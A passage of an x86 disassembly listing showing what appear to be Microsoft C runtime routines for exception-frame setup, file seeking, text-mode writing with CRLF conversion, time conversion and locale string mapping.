; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422486	proc near		; CODE XREF: sub_421DB1+170p
					; sub_422252+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4278F8
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4224CD
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4224CD
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_41C8C2
		or	[ebp+var_4], 0FFFFFFFFh


loc_4224CD:				; CODE XREF: sub_422486+2Aj
					; sub_422486+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_422486	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4224ED	proc near		; CODE XREF: sub_4222C2+8Fp
					; sub_4222C2+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_42250E
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_42250E:				; CODE XREF: sub_4224ED+12j
		pop	esi
		retn
sub_4224ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422510	proc near		; CODE XREF: sub_41C955+40p
					; sub_42205D+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
		call	sub_41CC41
		push	esi
		push	edi
		call	eax
		pop	edi
		pop	esi
		mov	ebx, ebp
		pop	ebp
		mov	ecx, [ebp+arg_8]
		push	ebp
		mov	ebp, ebx
		cmp	ecx, 100h
		jnz	short loc_42254F
		mov	ecx, 2


loc_42254F:				; CODE XREF: sub_422510+38j
		push	ecx
		call	sub_41CC41
		pop	ebp
		pop	ecx
		pop	ebx
		leave
		retn	0Ch
sub_422510	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42255C	proc near		; CODE XREF: sub_421DB1:loc_421F53j
					; sub_4220FB:loc_42210Cj ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004247C0 SIZE 00000017 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427908
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, dword_4DB9F8
		test	eax, eax
		jz	short loc_4225A4
		mov	[ebp+var_4], 1
		call	eax
		jmp	short loc_4225A0
; ---------------------------------------------------------------------------


loc_422599:				; DATA XREF: ___:00427918o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_42259D:				; DATA XREF: ___:0042791Co
		mov	esp, [ebp+var_18]


loc_4225A0:				; CODE XREF: sub_42255C+3Bj
		and	[ebp+var_4], 0


loc_4225A4:				; CODE XREF: sub_42255C+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_4225AD:				; DATA XREF: ___:00427910o
		jmp	loc_4247C0
sub_42255C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B2	proc near		; CODE XREF: sub_41CAF7+23p
					; sub_41CAF7:loc_41CB62p ...

var_18		= dword	ptr -18h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427920
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, off_43CF94
		test	eax, eax
		jz	short loc_4225FA
		mov	[ebp+var_4], 1
		call	eax ; sub_42255C
		jmp	short loc_4225F6
; ---------------------------------------------------------------------------


loc_4225EF:				; DATA XREF: ___:00427930o
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4225F3:				; DATA XREF: ___:00427934o
		mov	esp, [ebp+var_18]


loc_4225F6:				; CODE XREF: sub_4225B2+3Bj
		and	[ebp+var_4], 0


loc_4225FA:				; CODE XREF: sub_4225B2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_422603:				; DATA XREF: ___:00427928o
		jmp	sub_42255C
sub_4225B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422608	proc near		; CODE XREF: sub_41CFD3+7p
					; sub_41CFD3+26p

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4DCFE8
		push	esi
		cmp	eax, 3
		jnz	short loc_422631
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41DE77
		test	eax, eax
		pop	ecx
		jz	short loc_42262E
		mov	eax, [esi-4]
		sub	eax, 9
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_422608+1Cj
		push	esi
		jmp	short loc_422658
; ---------------------------------------------------------------------------


loc_422631:				; CODE XREF: sub_422608+Ej
		cmp	eax, 2
		jnz	short loc_422655
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_422655
		movzx	eax, byte ptr [eax]
		shl	eax, 4
		jmp	short loc_422666
; ---------------------------------------------------------------------------


loc_422655:				; CODE XREF: sub_422608+2Cj
					; sub_422608+43j
		push	[ebp+arg_0]


loc_422658:				; CODE XREF: sub_422608+27j
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2680000h


loc_422666:				; CODE XREF: sub_422608+24j
					; sub_422608+4Bj
		pop	esi
		leave
		retn
sub_422608	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422669	proc near		; CODE XREF: sub_41D081+C9p

var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_0]
		sub	ebx, 76Ch
		cmp	ebx, 46h
		jl	loc_422725
		cmp	ebx, 8Ah
		jg	loc_422725
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	esi, dword_43D45C[edi*4]
		add	esi, [ebp+arg_8]
		test	bl, 3
		jnz	short loc_4226A8
		cmp	edi, 2
		jle	short loc_4226A8
		inc	esi


loc_4226A8:				; CODE XREF: sub_422669+37j
					; sub_422669+3Cj
		call	sub_4247D7
		mov	eax, ebx
		lea	ecx, [ebx-1]
		imul	eax, 16Dh
		sar	ecx, 2
		mov	edx, esi
		mov	[ebp+var_8], esi
		add	edx, ecx
		mov	[ebp+var_10], ebx
		add	eax, edx
		mov	edx, [ebp+arg_14]
		lea	ecx, [eax+eax*2]
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_1C], eax
		lea	ecx, [eax+ecx*8]
		imul	ecx, 3Ch
		add	ecx, [ebp+arg_10]
		imul	ecx, 3Ch
		add	ecx, dword_43D378
		dec	edi
		cmp	[ebp+arg_18], 1
		mov	[ebp+var_14], edi
		pop	edi
		pop	esi
		lea	ecx, [ecx+edx+7C558180h]
		mov	[ebp+arg_0], ecx
		jz	short loc_42271B
		cmp	[ebp+arg_18], 0FFFFFFFFh
		jnz	short loc_422721
		cmp	dword_43D37C, 0
		jz	short loc_422721
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_424A4A
		pop	ecx
		mov	ecx, [ebp+arg_0]
		test	eax, eax
		jz	short loc_422721


loc_42271B:				; CODE XREF: sub_422669+90j
		add	ecx, dword_43D380


loc_422721:				; CODE XREF: sub_422669+96j
					; sub_422669+9Fj ...
		mov	eax, ecx
		jmp	short loc_422728
; ---------------------------------------------------------------------------


loc_422725:				; CODE XREF: sub_422669+13j
					; sub_422669+1Fj
		or	eax, 0FFFFFFFFh


loc_422728:				; CODE XREF: sub_422669+BAj
		pop	ebx
		leave
		retn
sub_422669	endp


; =============== S U B	R O U T	I N E =======================================



sub_42272B	proc near		; CODE XREF: ___:0041D253p
					; sub_41F11C+1A2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4DCDA0
		push	esi
		push	edi
		jnb	short loc_4227AD
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4DCCA0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_4227AD
		push	eax
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_42276F
		mov	dword_4DB948, 9
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42276F:				; CODE XREF: sub_42272B+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 27B0000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_42278F
		nop
		call	near ptr 26A08B1h
		jmp	short loc_422791
; ---------------------------------------------------------------------------


loc_42278F:				; CODE XREF: sub_42272B+5Aj
		xor	eax, eax


loc_422791:				; CODE XREF: sub_42272B+62j
		test	eax, eax
		jz	short loc_42279E
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	short loc_4227BE
; ---------------------------------------------------------------------------


loc_42279E:				; CODE XREF: sub_42272B+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_4227C1
; ---------------------------------------------------------------------------


loc_4227AD:				; CODE XREF: sub_42272B+Dj
					; sub_42272B+2Aj
		and	dword_4DB94C, 0
		mov	dword_4DB948, 9


loc_4227BE:				; CODE XREF: sub_42272B+42j
					; sub_42272B+71j
		or	eax, 0FFFFFFFFh


loc_4227C1:				; CODE XREF: sub_42272B+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_42272B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4227C5	proc near		; CODE XREF: ___:0041D216p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_4227E1
		mov	[edi+4], ebx


loc_4227E1:				; CODE XREF: sub_4227C5+17j
		push	1
		push	ebx
		push	esi
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_42284F
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_422806
		sub	eax, [edi+4]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422806:				; CODE XREF: sub_4227C5+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_422840
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4DCCA0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_422857
		mov	edx, ecx


loc_422831:				; CODE XREF: sub_4227C5+79j
		cmp	edx, eax
		jnb	short loc_422857
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_42283D
		inc	[ebp+var_8]


loc_42283D:				; CODE XREF: sub_4227C5+73j
		inc	edx
		jmp	short loc_422831
; ---------------------------------------------------------------------------


loc_422840:				; CODE XREF: sub_4227C5+50j
		test	dl, 80h
		jnz	short loc_422857
		mov	dword_4DB948, 16h


loc_42284F:				; CODE XREF: sub_4227C5+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422857:				; CODE XREF: sub_4227C5+68j
					; sub_4227C5+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_422865
		mov	eax, [ebp+var_8]
		jmp	loc_422918
; ---------------------------------------------------------------------------


loc_422865:				; CODE XREF: sub_4227C5+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_422910
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_42287E
		and	[ebp+var_8], edx
		jmp	loc_422910
; ---------------------------------------------------------------------------


loc_42287E:				; CODE XREF: sub_4227C5+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_42290A
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_4228D1
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_4228BC:				; CODE XREF: sub_4227C5+104j
		cmp	eax, ecx
		jnb	short loc_4228CB
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4228C8
		inc	[ebp+arg_0]


loc_4228C8:				; CODE XREF: sub_4227C5+FEj
		inc	eax
		jmp	short loc_4228BC
; ---------------------------------------------------------------------------


loc_4228CB:				; CODE XREF: sub_4227C5+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_422905
; ---------------------------------------------------------------------------


loc_4228D1:				; CODE XREF: sub_4227C5+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_42272B
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_4228F8
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_4228F8
		test	ch, 4
		jz	short loc_4228FB


loc_4228F8:				; CODE XREF: sub_4227C5+124j
					; sub_4227C5+12Cj
		mov	eax, [edi+18h]


loc_4228FB:				; CODE XREF: sub_4227C5+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_422905:				; CODE XREF: sub_4227C5+10Aj
		jz	short loc_42290A
		inc	[ebp+arg_0]


loc_42290A:				; CODE XREF: sub_4227C5+D9j
					; sub_4227C5:loc_422905j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_422910:				; CODE XREF: sub_4227C5+A4j
					; sub_4227C5+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_422918:				; CODE XREF: sub_4227C5+3Cj
					; sub_4227C5+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4227C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42291D	proc near		; CODE XREF: sub_41D2B4+A2p
					; sub_41DB8B+2Cp ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4DCDA0
		push	esi
		push	edi
		jnb	loc_422AB1
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DCCA0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_422AB1
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_42296E


loc_422967:				; CODE XREF: sub_42291D+177j
		xor	eax, eax
		jmp	loc_422AC5
; ---------------------------------------------------------------------------


loc_42296E:				; CODE XREF: sub_42291D+48j
		test	al, 20h
		jz	short loc_42297E
		push	2
		push	edi
		push	ecx
		call	sub_42272B
		add	esp, 0Ch


loc_42297E:				; CODE XREF: sub_42291D+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_422A4D
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_422A85


loc_42299E:				; CODE XREF: sub_42291D+F5j
		lea	eax, [ebp+var_414]


loc_4229A4:				; CODE XREF: sub_42291D+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4229D8
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_4229C3
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_4229C3:				; CODE XREF: sub_42291D+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_4229A4


loc_4229D8:				; CODE XREF: sub_42291D+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2720000h
		nop
		test	eax, eax
		jz	short loc_422A42
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_422A14
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_42299E


loc_422A14:				; CODE XREF: sub_42291D+EAj
					; sub_42291D+12Ej
		xor	edi, edi


loc_422A16:				; CODE XREF: sub_42291D+150j
					; sub_42291D+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_422AAC
		cmp	[ebp+arg_0], edi
		jz	short loc_422A85
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_422A7A
		mov	dword_4DB948, 9
		mov	dword_4DB94C, eax
		jmp	loc_422AC2
; ---------------------------------------------------------------------------


loc_422A42:				; CODE XREF: sub_42291D+E0j
		call	near ptr 26A08B1h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A14
; ---------------------------------------------------------------------------


loc_422A4D:				; CODE XREF: sub_42291D+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_422A6F
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A6F:				; CODE XREF: sub_42291D+145j
		call	near ptr 26A08B1h
		nop
		mov	[ebp+arg_0], eax
		jmp	short loc_422A16
; ---------------------------------------------------------------------------


loc_422A7A:				; CODE XREF: sub_42291D+10Fj
		push	[ebp+arg_0]
		call	sub_4203DF
		pop	ecx
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422A85:				; CODE XREF: sub_42291D+7Bj
					; sub_42291D+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_422A9A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_422967


loc_422A9A:				; CODE XREF: sub_42291D+16Fj
		mov	dword_4DB948, 1Ch
		mov	dword_4DB94C, edi
		jmp	short loc_422AC2
; ---------------------------------------------------------------------------


loc_422AAC:				; CODE XREF: sub_42291D+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_422AC5
; ---------------------------------------------------------------------------


loc_422AB1:				; CODE XREF: sub_42291D+15j
					; sub_42291D+37j
		and	dword_4DB94C, 0
		mov	dword_4DB948, 9


loc_422AC2:				; CODE XREF: sub_42291D+120j
					; sub_42291D+166j ...
		or	eax, 0FFFFFFFFh


loc_422AC5:				; CODE XREF: sub_42291D+4Cj
					; sub_42291D+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42291D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422ACA	proc near		; CODE XREF: sub_41D5AA+47p
					; sub_41D5AA+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427940
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4DBA1C, edi
		jnz	short loc_422B40
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427938
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	short loc_422B1E
		mov	dword_4DBA1C, ebx
		jmp	short loc_422B40
; ---------------------------------------------------------------------------


loc_422B1E:				; CODE XREF: sub_422ACA+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_4CB4FC
		push	esi
		push	edi
		nop
		call	near ptr 2670000h
		test	eax, eax
		jz	loc_422C58
		mov	dword_4DBA1C, 2


loc_422B40:				; CODE XREF: sub_422ACA+2Ej
					; sub_422ACA+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_422B55
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426180
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_422B55:				; CODE XREF: sub_422ACA+79j
		mov	eax, dword_4DBA1C
		cmp	eax, 2
		jnz	short loc_422B7C
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2670000h
		nop
		jmp	loc_422C5A
; ---------------------------------------------------------------------------


loc_422B7C:				; CODE XREF: sub_422ACA+93j
		cmp	eax, 1
		jnz	loc_422C58
		cmp	[ebp+arg_18], edi
		jnz	short loc_422B92
		mov	eax, dword_4DBA14
		mov	[ebp+arg_18], eax


loc_422B92:				; CODE XREF: sub_422ACA+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2860000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_422C58
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422BED
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_422BED:				; CODE XREF: sub_422ACA+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_422C58
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		call	near ptr 2860000h
		nop
		test	eax, eax
		jz	short loc_422C58
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_422C58
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_422C6C
		cmp	[ebp+arg_14], edi
		jz	loc_422CE7
		cmp	esi, [ebp+arg_14]
		jg	short loc_422C58
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		test	eax, eax
		jnz	loc_422CE7


loc_422C58:				; CODE XREF: sub_422ACA+66j
					; sub_422ACA+B5j ...
		xor	eax, eax


loc_422C5A:				; CODE XREF: sub_422ACA+ADj
					; sub_422ACA+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422C6C:				; CODE XREF: sub_422ACA+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_422CA0
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_422CA0:				; CODE XREF: sub_422ACA+1C2j
		cmp	ebx, edi
		jz	short loc_422C58
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_422C58
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_422CC7
		push	edi
		push	edi
		jmp	short loc_422CCD
; ---------------------------------------------------------------------------


loc_422CC7:				; CODE XREF: sub_422ACA+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_422CCD:				; CODE XREF: sub_422ACA+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	near ptr 28510F6h
		nop
		mov	esi, eax
		cmp	esi, edi
		jz	loc_422C58


loc_422CE7:				; CODE XREF: sub_422ACA+165j
					; sub_422ACA+188j
		mov	eax, esi
		jmp	loc_422C5A
sub_422ACA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	dword ptr [ebp+8]
		call	sub_422E2F
		test	eax, eax
		pop	ecx
		jz	loc_422E23
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_422E23
		cmp	ebx, 5
		jnz	short loc_422D1F
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_422E2C
; ---------------------------------------------------------------------------


loc_422D1F:				; CODE XREF: ___:00422D11j
		cmp	ebx, 1
		jz	loc_422E1E
		mov	ecx, dword_4DBA20
		mov	[ebp+8], ecx
		mov	ecx, [ebp+0Ch]
		mov	dword_4DBA20, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_422E0E
		mov	ecx, dword_43D010
		mov	edx, dword_43D014
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_422D6E
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:43CFA0h[esi*4]


loc_422D65:				; CODE XREF: ___:00422D6Cj
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_422D65


loc_422D6E:				; CODE XREF: ___:00422D57j
		mov	eax, [eax]
		mov	esi, dword_43D01C
		cmp	eax, 0C000008Eh
		jnz	short loc_422D89
		mov	dword_43D01C, 83h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


